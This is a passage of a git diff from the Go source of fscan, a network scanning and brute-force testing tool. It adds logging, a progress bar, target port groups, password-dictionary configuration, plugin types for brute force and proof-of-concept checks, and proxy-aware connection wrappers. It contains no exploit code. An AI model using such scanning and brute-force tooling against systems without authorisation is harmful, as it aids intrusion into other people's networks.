+ LogBase(i18n.GetText("network_http_proxy", config.Network.HttpProxy))
+ }
+ if config.Network.Socks5Proxy != "" {
+ LogBase(i18n.GetText("network_socks5_proxy", config.Network.Socks5Proxy))
+ }
+ if config.Network.WebTimeout > 0 {
+ LogBase(i18n.GetText("network_web_timeout", config.Network.WebTimeout))
+ }
+ }
+
+ // 显示凭据信息
+ if config.Credentials != nil {
+ if len(config.Credentials.Usernames) > 0 {
+ LogBase(i18n.GetText("credential_username_count", len(config.Credentials.Usernames)))
+ }
+ if len(config.Credentials.Passwords) > 0 {
+ LogBase(i18n.GetText("credential_password_count", len(config.Credentials.Passwords)))
+ }
+ if len(config.Credentials.HashValues) > 0 {
+ LogBase(i18n.GetText("credential_hash_count", len(config.Credentials.HashValues)))
+ }
+ }
+}
+
+// applyLogLevel 应用LogLevel配置到日志系统
+func applyLogLevel() {
+ if LogLevel == "" {
+ return // 使用默认级别
+ }
+
+ // 根据LogLevel字符串获取对应的日志级别
+ var level logging.LogLevel
+ switch LogLevel {
+ case LogLevelAll:
+ level = logging.LevelAll
+ case LogLevelError:
+ level = logging.LevelError
+ case LogLevelBase:
+ level = logging.LevelBase
+ case LogLevelInfo:
+ level = logging.LevelInfo
+ case LogLevelSuccess:
+ level = logging.LevelSuccess
+ case LogLevelDebug:
+ level = logging.LevelDebug
+ case LogLevelInfoSuccess:
+ level = logging.LevelInfoSuccess
+ case LogLevelBaseInfoSuccess:
+ level = logging.LevelBaseInfoSuccess
+ default:
+ // 向后兼容:如果是老的字符串格式
+ switch LogLevel {
+ case "ALL":
+ level = logging.LevelAll
+ case "ERROR":
+ level = logging.LevelError
+ case "BASE":
+ level = logging.LevelBase
+ case "INFO":
+ level = logging.LevelInfo
+ case "SUCCESS":
+ level = logging.LevelSuccess
+ case "DEBUG":
+ level = logging.LevelDebug
+ case "debug":
+ level = logging.LevelAll // 兼容旧的debug行为
+ default:
+ return // 无效的级别,保持默认
+ }
+ }
+
+ // 更新全局日志管理器的级别
+ if globalLogger != nil {
+ config := &logging.LoggerConfig{
+ Level: level,
+ EnableColor: !NoColor,
+ SlowOutput: false,
+ ShowProgress: ShowProgress,
+ StartTime: StartTime,
+ LevelColors: logging.GetDefaultLevelColors(),
+ }
+
+ newLogger := logging.NewLogger(config)
+ if ProgressBar != nil {
+ newLogger.SetProgressBar(ProgressBar)
+ }
+ newLogger.SetOutputMutex(&OutputMutex)
+
+ // 设置协调输出函数,使用LogWithProgress
+ newLogger.SetCoordinatedOutput(LogWithProgress)
+
+ // 更新全局日志管理器
+ globalLogger = newLogger
+ // status变量已移除,如需获取状态请直接调用newLogger.GetScanStatus()
+ }
+}
diff --git a/common/Ports.go b/common/Ports.go
new file mode 100644
index 0000000..b1b98c6
--- /dev/null
+++ b/common/Ports.go
@@ -0,0 +1,19 @@
+package common
+
+import "github.com/shadow1ng/fscan/common/base"
+
+/*
+Ports.go - 端口常量(向后兼容层)
+
+此文件保持向后兼容,实际常量定义已迁移到Core/Constants.go
+*/
+
+// 向后兼容的端口常量 - 引用base包中的定义
+var (
+ WebPorts = base.WebPorts // Web服务端口组
+ MainPorts = base.MainPorts // 主要服务端口组
+ DbPorts = base.DbPorts // 数据库端口组
+ ServicePorts = base.ServicePorts // 服务端口组
+ CommonPorts = base.CommonPorts // 常用端口组
+ AllPorts = base.AllPorts // 全部端口
+)
diff --git a/common/ProgressManager.go b/common/ProgressManager.go
new file mode 100644
index 0000000..77d2df9
--- /dev/null
+++ b/common/ProgressManager.go
@@ -0,0 +1,457 @@
+package common
+
+import (
+ "fmt"
+ "os"
+ "runtime"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+/*
+ProgressManager.go - 固定底部进度条管理器
+
+提供固定在终端底部的进度条显示,与正常输出内容分离。
+使用终端控制码实现位置固定和内容保护。
+*/
+
+// ProgressManager 进度条管理器
+type ProgressManager struct {
+ mu sync.RWMutex
+ enabled bool
+ total int64
+ current int64
+ description string
+ startTime time.Time
+ isActive bool
+ terminalHeight int
+ reservedLines int // 为进度条保留的行数
+ lastContentLine int // 最后一行内容的位置
+
+ // 输出缓冲相关
+ outputMutex sync.Mutex
+
+ // 活跃指示器相关
+ spinnerIndex int
+ lastActivity time.Time
+ activityTicker *time.Ticker
+ stopActivityChan chan struct{}
+
+ // 内存监控相关
+ lastMemUpdate time.Time
+ memStats runtime.MemStats
+}
+
+var (
+ globalProgressManager *ProgressManager
+ progressMutex sync.Mutex
+
+ // 活跃指示器字符序列(旋转动画)
+ spinnerChars = []string{"|", "/", "-", "\\"}
+
+ // 活跃指示器更新间隔
+ activityUpdateInterval = 500 * time.Millisecond
+)
+
+// GetProgressManager 获取全局进度条管理器
+func GetProgressManager() *ProgressManager {
+ progressMutex.Lock()
+ defer progressMutex.Unlock()
+
+ if globalProgressManager == nil {
+ globalProgressManager = &ProgressManager{
+ enabled: true,
+ reservedLines: 2, // 保留2行:进度条 + 空行
+ terminalHeight: getTerminalHeight(),
+ }
+ }
+ return globalProgressManager
+}
+
+// InitProgress 初始化进度条
+func (pm *ProgressManager) InitProgress(total int64, description string) {
+ if !ShowProgress || Silent {
+ pm.enabled = false
+ return
+ }
+
+ pm.mu.Lock()
+ defer pm.mu.Unlock()
+
+ pm.total = total
+ pm.current = 0
+ pm.description = description
+ pm.startTime = time.Now()
+ pm.isActive = true
+ pm.enabled = true
+ pm.lastActivity = time.Now()
+ pm.spinnerIndex = 0
+ pm.lastMemUpdate = time.Now().Add(-2 * time.Second) // 强制首次更新内存
+
+ // 为进度条保留空间
+ pm.setupProgressSpace()
+
+ // 启动活跃指示器
+ pm.startActivityIndicator()
+
+ // 初始显示进度条
+ pm.renderProgress()
+}
+
+// UpdateProgress 更新进度
+func (pm *ProgressManager) UpdateProgress(increment int64) {
+ if !pm.enabled || !pm.isActive {
+ return
+ }
+
+ pm.mu.Lock()
+ defer pm.mu.Unlock()
+
+ pm.current += increment
+ if pm.current > pm.total {
+ pm.current = pm.total
+ }
+
+ // 更新活跃时间
+ pm.lastActivity = time.Now()
+
+ pm.renderProgress()
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):SetProgress 设置当前进度
+// =============================================================================================
+
+// FinishProgress 完成进度条
+func (pm *ProgressManager) FinishProgress() {
+ if !pm.enabled || !pm.isActive {
+ return
+ }
+
+ pm.mu.Lock()
+ defer pm.mu.Unlock()
+
+ pm.current = pm.total
+ pm.renderProgress()
+
+ // 停止活跃指示器
+ pm.stopActivityIndicator()
+
+ // 显示完成信息
+ pm.showCompletionInfo()
+
+ // 清理进度条区域,恢复正常输出
+ pm.clearProgressArea()
+ pm.isActive = false
+}
+
+// setupProgressSpace 设置进度条空间
+func (pm *ProgressManager) setupProgressSpace() {
+ // 简化设计:进度条在原地更新,不需要预留额外空间
+ // 只是标记进度条开始的位置
+ pm.lastContentLine = 0
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):moveToContentArea 和 moveToProgressLine 方法
+// =============================================================================================
+
+// renderProgress 渲染进度条(使用锁避免输出冲突)
+func (pm *ProgressManager) renderProgress() {
+ pm.outputMutex.Lock()
+ defer pm.outputMutex.Unlock()
+
+ pm.renderProgressUnsafe()
+}
+
+// generateProgressBar 生成进度条字符串
+func (pm *ProgressManager) generateProgressBar() string {
+ if pm.total == 0 {
+ spinner := pm.getActivityIndicator()
+ memInfo := pm.getMemoryInfo()
+ return fmt.Sprintf("%s %s 等待中... %s", pm.description, spinner, memInfo)
+ }
+
+ percentage := float64(pm.current) / float64(pm.total) * 100
+ elapsed := time.Since(pm.startTime)
+
+ // 获取并发状态
+ concurrencyStatus := GetConcurrencyMonitor().GetConcurrencyStatus()
+
+ // 计算预估剩余时间
+ var eta string
+ if pm.current > 0 {
+ totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current)
+ remaining := totalTime - elapsed
+ if remaining > 0 {
+ eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
+ }
+ }
+
+ // 计算速度
+ speed := float64(pm.current) / elapsed.Seconds()
+ speedStr := ""
+ if speed > 0 {
+ speedStr = fmt.Sprintf(" (%.1f/s)", speed)
+ }
+
+ // 生成进度条
+ barWidth := 30
+ filled := int(percentage * float64(barWidth) / 100)
+ bar := ""
+
+ if NoColor {
+ // 无颜色版本
+ bar = "[" +
+ fmt.Sprintf("%s%s",
+ string(make([]rune, filled)),
+ string(make([]rune, barWidth-filled))) +
+ "]"
+ for i := 0; i < filled; i++ {
+ bar = bar[:i+1] + "=" + bar[i+2:]
+ }
+ for i := filled; i < barWidth; i++ {
+ bar = bar[:i+1] + "-" + bar[i+2:]
+ }
+ } else {
+ // 彩色版本
+ bar = "|"
+ for i := 0; i < barWidth; i++ {
+ if i < filled {
+ bar += "#"
+ } else {
+ bar += "."
+ }
+ }
+ bar += "|"
+ }
+
+ // 生成活跃指示器
+ spinner := pm.getActivityIndicator()
+
+ // 构建基础进度条
+ baseProgress := fmt.Sprintf("%s %s %6.1f%% %s (%d/%d)%s%s",
+ pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta)
+
+ // 添加内存信息
+ memInfo := pm.getMemoryInfo()
+
+ // 添加并发状态
+ if concurrencyStatus != "" {
+ return fmt.Sprintf("%s [%s] %s", baseProgress, concurrencyStatus, memInfo)
+ }
+
+ return fmt.Sprintf("%s %s", baseProgress, memInfo)
+}
+
+// showCompletionInfo 显示完成信息
+func (pm *ProgressManager) showCompletionInfo() {
+ elapsed := time.Since(pm.startTime)
+
+ // 换行并显示完成信息
+ fmt.Print("\n")
+
+ completionMsg := i18n.GetText("progress_scan_completed")
+ if NoColor {
+ fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
+ completionMsg, pm.total, pm.total, formatDuration(elapsed))
+ } else {
+ fmt.Printf("\033[32m[完成] %s %d/%d\033[0m \033[90m(耗时: %s)\033[0m\n",
+ completionMsg, pm.total, pm.total, formatDuration(elapsed))
+ }
+}
+
+// clearProgressArea 清理进度条区域
+func (pm *ProgressManager) clearProgressArea() {
+ // 简单清除当前行
+ fmt.Print("\033[2K\r")
+}
+
+// IsActive 检查进度条是否活跃
+func (pm *ProgressManager) IsActive() bool {
+ pm.mu.RLock()
+ defer pm.mu.RUnlock()
+ return pm.isActive && pm.enabled
+}
+
+// getTerminalHeight 获取终端高度
+func getTerminalHeight() int {
+ // 对于固定底部进度条,我们暂时禁用终端高度检测
+ // 因为在不同终端环境中可能会有问题
+ // 改为使用相对定位方式
+ return 0 // 返回0表示使用简化模式
+}
+
+// formatDuration 格式化时间间隔
+func formatDuration(d time.Duration) string {
+ if d < time.Minute {
+ return fmt.Sprintf("%.1fs", d.Seconds())
+ } else if d < time.Hour {
+ return fmt.Sprintf("%.1fm", d.Minutes())
+ } else {
+ return fmt.Sprintf("%.1fh", d.Hours())
+ }
+}
+
+// 全局函数,方便其他模块调用
+func InitProgressBar(total int64, description string) {
+ GetProgressManager().InitProgress(total, description)
+}
+
+func UpdateProgressBar(increment int64) {
+ GetProgressManager().UpdateProgress(increment)
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):SetProgressBar 全局函数
+// =============================================================================================
+
+func FinishProgressBar() {
+ GetProgressManager().FinishProgress()
+}
+
+func IsProgressActive() bool {
+ return GetProgressManager().IsActive()
+}
+
+// =============================================================================
+// 日志输出协调功能
+// =============================================================================
+
+// LogWithProgress 在进度条活跃时协调日志输出
+func LogWithProgress(message string) {
+ pm := GetProgressManager()
+ if !pm.IsActive() {
+ // 如果进度条不活跃,直接输出
+ fmt.Println(message)
+ return
+ }
+
+ pm.outputMutex.Lock()
+ defer pm.outputMutex.Unlock()
+
+ // 清除当前行(清除进度条)
+ fmt.Print("\033[2K\r")
+
+ // 输出日志消息
+ fmt.Println(message)
+
+ // 重绘进度条
+ pm.renderProgressUnsafe()
+}
+
+// renderProgressUnsafe 不加锁的进度条渲染(内部使用)
+func (pm *ProgressManager) renderProgressUnsafe() {
+ if !pm.enabled || !pm.isActive {
+ return
+ }
+
+ // 移动到行首并清除当前行
+ fmt.Print("\033[2K\r")
+
+ // 生成进度条内容
+ progressBar := pm.generateProgressBar()
+
+ // 输出进度条(带颜色,如果启用)
+ if NoColor {
+ fmt.Print(progressBar)
+ } else {
+ fmt.Printf("\033[36m%s\033[0m", progressBar) // 青色
+ }
+
+ // 刷新输出
+ os.Stdout.Sync()
+}
+
+// =============================================================================
+// 活跃指示器相关方法
+// =============================================================================
+
+// startActivityIndicator 启动活跃指示器
+func (pm *ProgressManager) startActivityIndicator() {
+ // 防止重复启动
+ if pm.activityTicker != nil {
+ return
+ }
+
+ pm.activityTicker = time.NewTicker(activityUpdateInterval)
+ pm.stopActivityChan = make(chan struct{})
+
+ go func() {
+ for {
+ select {
+ case <-pm.activityTicker.C:
+ // 只有在活跃状态下才更新指示器
+ if pm.isActive && pm.enabled {
+ pm.mu.Lock()
+ pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
+ pm.mu.Unlock()
+
+ // 只有在长时间没有进度更新时才重新渲染
+ // 这样可以避免频繁更新时的性能问题
+ if time.Since(pm.lastActivity) > 2*time.Second {
+ pm.renderProgress()
+ }
+ }
+ case <-pm.stopActivityChan:
+ return
+ }
+ }
+ }()
+}
+
+// stopActivityIndicator 停止活跃指示器
+func (pm *ProgressManager) stopActivityIndicator() {
+ if pm.activityTicker != nil {
+ pm.activityTicker.Stop()
+ pm.activityTicker = nil
+ }
+
+ if pm.stopActivityChan != nil {
+ close(pm.stopActivityChan)
+ pm.stopActivityChan = nil
+ }
+}
+
+// getActivityIndicator 获取当前活跃指示器字符
+func (pm *ProgressManager) getActivityIndicator() string {
+ // 如果最近有活动(2秒内),显示静态指示器
+ if time.Since(pm.lastActivity) <= 2*time.Second {
+ return "●" // 实心圆表示活跃
+ }
+
+ // 如果长时间没有活动,显示旋转指示器表明程序仍在运行
+ return spinnerChars[pm.spinnerIndex]
+}
+
+// getMemoryInfo 获取内存使用信息
+func (pm *ProgressManager) getMemoryInfo() string {
+ // 限制内存统计更新频率以提高性能(每秒最多一次)
+ now := time.Now()
+ if now.Sub(pm.lastMemUpdate) >= time.Second {
+ runtime.ReadMemStats(&pm.memStats)
+ pm.lastMemUpdate = now
+ }
+
+ // 获取当前使用的内存(以MB为单位)
+ memUsedMB := float64(pm.memStats.Alloc) / 1024 / 1024
+
+ // 根据内存使用量选择颜色
+ var colorCode string
+ if NoColor {
+ return fmt.Sprintf("内存:%.1fMB", memUsedMB)
+ }
+
+ // 根据内存使用量设置颜色
+ if memUsedMB < 50 {
+ colorCode = "\033[32m" // 绿色 - 内存使用较低
+ } else if memUsedMB < 100 {
+ colorCode = "\033[33m" // 黄色 - 内存使用中等
+ } else {
+ colorCode = "\033[31m" // 红色 - 内存使用较高
+ }
+
+ return fmt.Sprintf("%s内存:%.1fMB\033[0m", colorCode, memUsedMB)
+}
\ No newline at end of file
diff --git a/common/base/Constants.go b/common/base/Constants.go
new file mode 100644
index 0000000..9b17145
--- /dev/null
+++ b/common/base/Constants.go
@@ -0,0 +1,41 @@
+package base
+
+/*
+Constants.go - 核心常量定义
+
+整合Ports.go等常量文件,统一管理所有核心常量。
+*/
+
+// =============================================================================
+// 端口常量 (从Ports.go迁移)
+// =============================================================================
+
+// 预定义端口组常量
+var (
+ WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
+ MainPorts = "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
+ DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
+ ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
+ CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
+ AllPorts = "1-65535"
+)
+
+// =============================================================================
+// 扫描模式常量
+// =============================================================================
+
+const (
+ ScanModeAll = "all" // 全扫描模式
+)
+
+// =============================================================================
+// 默认配置常量
+// =============================================================================
+
+const (
+ DefaultThreadNum = 600 // 默认线程数
+ DefaultTimeout = 3 // 默认超时时间(秒)
+ DefaultScanMode = ScanModeAll // 默认扫描模式
+ DefaultLanguage = "zh" // 默认语言
+ DefaultLogLevel = "base" // 默认日志级别
+)
diff --git a/common/base/Manager.go b/common/base/Manager.go
new file mode 100644
index 0000000..3659df6
--- /dev/null
+++ b/common/base/Manager.go
@@ -0,0 +1,85 @@
+package base
+
+import (
+ "sync"
+
+ "github.com/shadow1ng/fscan/common/config"
+)
+
+// =============================================================================
+// 全局配置变量
+// =============================================================================
+
+var (
+ // 核心扫描配置
+ ScanMode string // 扫描模式
+ ThreadNum int // 线程数
+ Timeout int64 // 超时时间
+ DisablePing bool // 禁用ping
+ LocalMode bool // 本地模式
+ LocalPlugin string // 本地插件选择
+
+ // 基础认证配置
+ Username string // 用户名
+ Password string // 密码
+ Userdict map[string][]string // 用户字典
+ Passwords []string // 密码列表
+
+ // 网络配置
+ HttpProxy string // HTTP代理
+ Socks5Proxy string // SOCKS5代理
+
+ // 显示控制
+ NoColor bool // 禁用颜色
+ Language string // 语言
+ LogLevel string // 日志级别
+
+ // 端口映射
+ PortMap map[int][]string // 端口映射
+ DefaultMap []string // 默认映射
+
+ // 初始化锁
+ initOnce sync.Once
+)
+
+// =============================================================================
+// 简化的初始化函数
+// =============================================================================
+
+// InitGlobalConfig 初始化全局配置
+func InitGlobalConfig() {
+ initOnce.Do(func() {
+ // 设置默认值
+ ScanMode = DefaultScanMode
+ ThreadNum = DefaultThreadNum
+ Timeout = DefaultTimeout
+ LogLevel = DefaultLogLevel
+ Language = DefaultLanguage
+
+ // 初始化映射和切片
+ Userdict = make(map[string][]string)
+ PortMap = make(map[int][]string)
+ DefaultMap = make([]string, 0)
+
+ // 从config模块获取字典和映射
+ if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
+ Userdict = serviceDict.GetAllUserDicts()
+ Passwords = serviceDict.GetPasswords()
+ }
+
+ if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
+ PortMap = probeMapping.GetAllPortMappings()
+ DefaultMap = probeMapping.GetDefaultProbes()
+ }
+ })
+}
+
+// =============================================================================
+// 访问器函数已移除(未使用的死代码)
+// 直接使用全局变量进行访问
+// =============================================================================
+
+// init 自动初始化
+func init() {
+ InitGlobalConfig()
+}
diff --git a/common/base/Plugin.go b/common/base/Plugin.go
new file mode 100644
index 0000000..cd0a0d1
--- /dev/null
+++ b/common/base/Plugin.go
@@ -0,0 +1,149 @@
+package base
+
+import (
+ "sync"
+)
+
+/*
+Plugin.go - 插件系统管理
+
+整合Types.go中的插件系统,提供统一的插件注册和管理机制。
+*/
+
+// =============================================================================
+// 核心数据结构 (从Types.go迁移)
+// =============================================================================
+
+// HostInfo 主机信息结构
+type HostInfo struct {
+ Host string // 主机地址
+ Ports string // 端口范围
+ Url string // URL地址
+ Infostr []string // 附加信息
+}
+
+// =============================================================================
+// 插件类型常量
+// =============================================================================
+
+const (
+ PluginTypeService = "service" // 服务类型插件
+ PluginTypeWeb = "web" // Web类型插件
+ PluginTypeLocal = "local" // 本地类型插件
+ PluginTypeBrute = "brute" // 暴力破解插件
+ PluginTypePoc = "poc" // POC验证插件
+ PluginTypeScan = "scan" // 扫描探测插件
+)
+
+// =============================================================================
+// 插件定义和管理
+// =============================================================================
+
+// ScanPlugin 定义扫描插件的结构
+type ScanPlugin struct {
+ Name string // 插件名称
+ Version string // 插件版本
+ Description string // 插件描述
+ Author string // 插件作者
+ Ports []int // 适用端口
+ Types []string // 插件类型标签,一个插件可以有多个类型
+ Priority int // 插件优先级(数字越小优先级越高)
+ Enabled bool // 是否启用
+ ScanFunc func(*HostInfo) error // 扫描函数
+}
+
+// PluginManager 插件管理器
+type PluginManager struct {
+ mu sync.RWMutex
+ plugins map[string]*ScanPlugin
+ types map[string][]*ScanPlugin // 按类型索引的插件
+ ports map[int][]*ScanPlugin // 按端口索引的插件
+}
+
+// 全局插件管理器实例
+var globalPluginManager = NewPluginManager()
+
+// NewPluginManager 创建新的插件管理器
+func NewPluginManager() *PluginManager {
+ return &PluginManager{
+ plugins: make(map[string]*ScanPlugin),
+ types: make(map[string][]*ScanPlugin),
+ ports: make(map[int][]*ScanPlugin),
+ }
+}
+
+// =============================================================================
+// 插件基础方法
+// =============================================================================
+
+// HasType 检查插件是否具有指定类型
+func (p *ScanPlugin) HasType(typeName string) bool {
+ for _, t := range p.Types {
+ if t == typeName {
+ return true
+ }
+ }
+ return false
+}
+
+// HasPort 检查插件是否支持指定端口
+func (p *ScanPlugin) HasPort(port int) bool {
+ // 如果没有指定端口列表,表示支持所有端口
+ if len(p.Ports) == 0 {
+ return true
+ }
+
+ // 检查端口是否在支持列表中
+ for _, supportedPort := range p.Ports {
+ if port == supportedPort {
+ return true
+ }
+ }
+ return false
+}
+
+// IsEnabled 检查插件是否启用
+func (p *ScanPlugin) IsEnabled() bool {
+ return p.Enabled
+}
+
+// GetInfo 获取插件基本信息
+func (p *ScanPlugin) GetInfo() map[string]interface{} {
+ return map[string]interface{}{
+ "name": p.Name,
+ "version": p.Version,
+ "description": p.Description,
+ "author": p.Author,
+ "types": p.Types,
+ "ports": p.Ports,
+ "priority": p.Priority,
+ "enabled": p.Enabled,
+ }
+}
+
+// =============================================================================
+// 插件管理器方法
+// =============================================================================
+
+// 已移除未使用的 RegisterPlugin 方法
+
+// ========================================================================================
+// 未使用的插件管理器方法已删除(死代码清理)
+// 包括:GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins,
+// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount
+// ========================================================================================
+
+// =============================================================================
+// 全局插件管理函数 (保持向后兼容)
+// =============================================================================
+
+// 已移除未使用的 RegisterPlugin 方法
+
+// 已移除未使用的 Clear 方法
+
+// 已移除未使用的 ClearPluginsByType 方法
+
+// GetGlobalPluginManager 方法已删除(死代码清理)
+
+// 向后兼容的全局变量 (已废弃,建议使用PluginManager)
+var LegacyPluginManager = make(map[string]ScanPlugin)
\ No newline at end of file
diff --git a/common/common.go b/common/common.go
new file mode 100644
index 0000000..63f4869
--- /dev/null
+++ b/common/common.go
@@ -0,0 +1,235 @@
+package common
+
+/*
+common.go - 简化的统一入口
+
+移除所有向后兼容层,提供清晰的模块化接口。
+直接导出各子模块的核心功能,避免代码债务。
+*/
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ "net"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/base"
+ "github.com/shadow1ng/fscan/common/logging"
+ "github.com/shadow1ng/fscan/common/output"
+ "github.com/shadow1ng/fscan/common/proxy"
+)
+
+// =============================================================================
+// 核心类型导出 - 直接从core模块导出
+// =============================================================================
+
+type HostInfo = base.HostInfo
+type ScanPlugin = base.ScanPlugin
+
+// 插件类型常量
+const (
+ PluginTypeWeb = base.PluginTypeWeb
+ PluginTypeLocal = base.PluginTypeLocal
+)
+
+// 全局插件管理器
+var PluginManager = base.LegacyPluginManager
+
+// =============================================================================
+// 核心功能导出 - 直接调用对应模块
+// =============================================================================
+
+// 已移除未使用的 RegisterPlugin 方法
+
+// GetGlobalPluginManager 函数已删除(死代码清理)
+
+// =============================================================================
+// 日志系统简化接口
+// =============================================================================
+
+var globalLogger *logging.Logger
+var loggerMutex sync.Mutex
+
+func getGlobalLogger() *logging.Logger {
+ loggerMutex.Lock()
+ defer loggerMutex.Unlock()
+
+ if globalLogger == nil {
+ level := getLogLevelFromString(LogLevel)
+ config := &logging.LoggerConfig{
+ Level: level,
+ EnableColor: !NoColor,
+ SlowOutput: false,
+ ShowProgress: ShowProgress,
+ StartTime: StartTime,
+ }
+ globalLogger = logging.NewLogger(config)
+ if ProgressBar != nil {
+ globalLogger.SetProgressBar(ProgressBar)
+ }
+ globalLogger.SetOutputMutex(&OutputMutex)
+
+ // 设置协调输出函数,使用LogWithProgress
+ globalLogger.SetCoordinatedOutput(LogWithProgress)
+ }
+ return globalLogger
+}
+
+func getLogLevelFromString(levelStr string) logging.LogLevel {
+ switch levelStr {
+ case "all", "ALL":
+ return logging.LevelAll
+ case "error", "ERROR":
+ return logging.LevelError
+ case "base", "BASE":
+ return logging.LevelBase
+ case "info", "INFO":
+ return logging.LevelInfo
+ case "success", "SUCCESS":
+ return logging.LevelSuccess
+ case "debug", "DEBUG":
+ return logging.LevelDebug
+ case "info,success":
+ return logging.LevelInfoSuccess
+ case "base,info,success", "BASE_INFO_SUCCESS":
+ return logging.LevelBaseInfoSuccess
+ default:
+ return logging.LevelInfoSuccess
+ }
+}
+
+// 日志函数
+func InitLogger() {
+ loggerMutex.Lock()
+ globalLogger = nil
+ loggerMutex.Unlock()
+ getGlobalLogger().Initialize()
+}
+
+func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
+func LogBase(msg string) { getGlobalLogger().Base(msg) }
+func LogInfo(msg string) { getGlobalLogger().Info(msg) }
+func LogSuccess(result string) { getGlobalLogger().Success(result) }
+func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
+
+// =============================================================================
+// 输出系统简化接口
+// =============================================================================
+
+var ResultOutput *output.Manager
+
+func InitOutput() error {
+ if Outputfile == "" {
+ return fmt.Errorf("output file not specified")
+ }
+
+ var format output.OutputFormat
+ switch OutputFormat {
+ case "txt":
+ format = output.FormatTXT
+ case "json":
+ format = output.FormatJSON
+ case "csv":
+ format = output.FormatCSV
+ default:
+ return fmt.Errorf("invalid output format: %s", OutputFormat)
+ }
+
+ config := output.DefaultManagerConfig(Outputfile, format)
+ manager, err := output.NewManager(config)
+ if err != nil {
+ return err
+ }
+ ResultOutput = manager
+ return nil
+}
+
+func CloseOutput() error {
+ if ResultOutput == nil {
+ return nil
+ }
+ return ResultOutput.Close()
+}
+
+func SaveResult(result *output.ScanResult) error {
+ if ResultOutput == nil {
+ return fmt.Errorf("output not initialized")
+ }
+ return ResultOutput.SaveResult(result)
+}
+
+// =============================================================================
+// 网络连接辅助函数
+// =============================================================================
+
+// WrapperTcpWithTimeout TCP连接包装器,带超时
+func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
+ return net.DialTimeout(network, address, timeout)
+}
+
+// WrapperTcpWithContext TCP连接包装器,带上下文和代理支持
+func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
+ // 检查是否配置了SOCKS5代理
+ if Socks5Proxy != "" {
+ proxyConfig := &proxy.ProxyConfig{
+ Type: proxy.ProxyTypeSOCKS5,
+ Address: Socks5Proxy,
+ Timeout: time.Second * 10,
+ }
+
+ proxyManager := proxy.NewProxyManager(proxyConfig)
+ dialer, err := proxyManager.GetDialer()
+ if err != nil {
+ LogDebug(fmt.Sprintf("SOCKS5代理连接失败,回退到直连: %v", err))
+ // 代理失败时回退到直连
+ var d net.Dialer
+ return d.DialContext(ctx, network, address)
+ }
+
+ LogDebug(fmt.Sprintf("使用SOCKS5代理连接: %s -> %s", Socks5Proxy, address))
+ return dialer.DialContext(ctx, network, address)
+ }
+
+ // 没有配置代理,使用直连
+ var d net.Dialer
+ return d.DialContext(ctx, network, address)
+}
+
+// WrapperTlsWithContext TLS连接包装器,带上下文和代理支持
+func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
+ // 检查是否配置了SOCKS5代理
+ if Socks5Proxy != "" {
+ proxyConfig := &proxy.ProxyConfig{
+ Type: proxy.ProxyTypeSOCKS5,
+ Address: Socks5Proxy,
+ Timeout: time.Second * 10,
+ }
+
+ proxyManager := proxy.NewProxyManager(proxyConfig)
+ tlsDialer, err := proxyManager.GetTLSDialer()
+ if err != nil {
+ LogDebug(fmt.Sprintf("SOCKS5代理TLS连接失败,回退到直连: %v", err))
+ // 代理失败时回退到直连
+ d := &tls.Dialer{Config: config}
+ return d.DialContext(ctx, network, address)
+ }
+
+ LogDebug(fmt.Sprintf("使用SOCKS5代理TLS连接: %s -> %s", Socks5Proxy, address))
+ return tlsDialer.DialTLSContext(ctx, network, address, config)
+ }
+
+ // 没有配置代理,使用直连
+ d := &tls.Dialer{Config: config}
+ return d.DialContext(ctx, network, address)
+}
+
+// =============================================================================
+// 错误处理辅助函数
+// =============================================================================
+
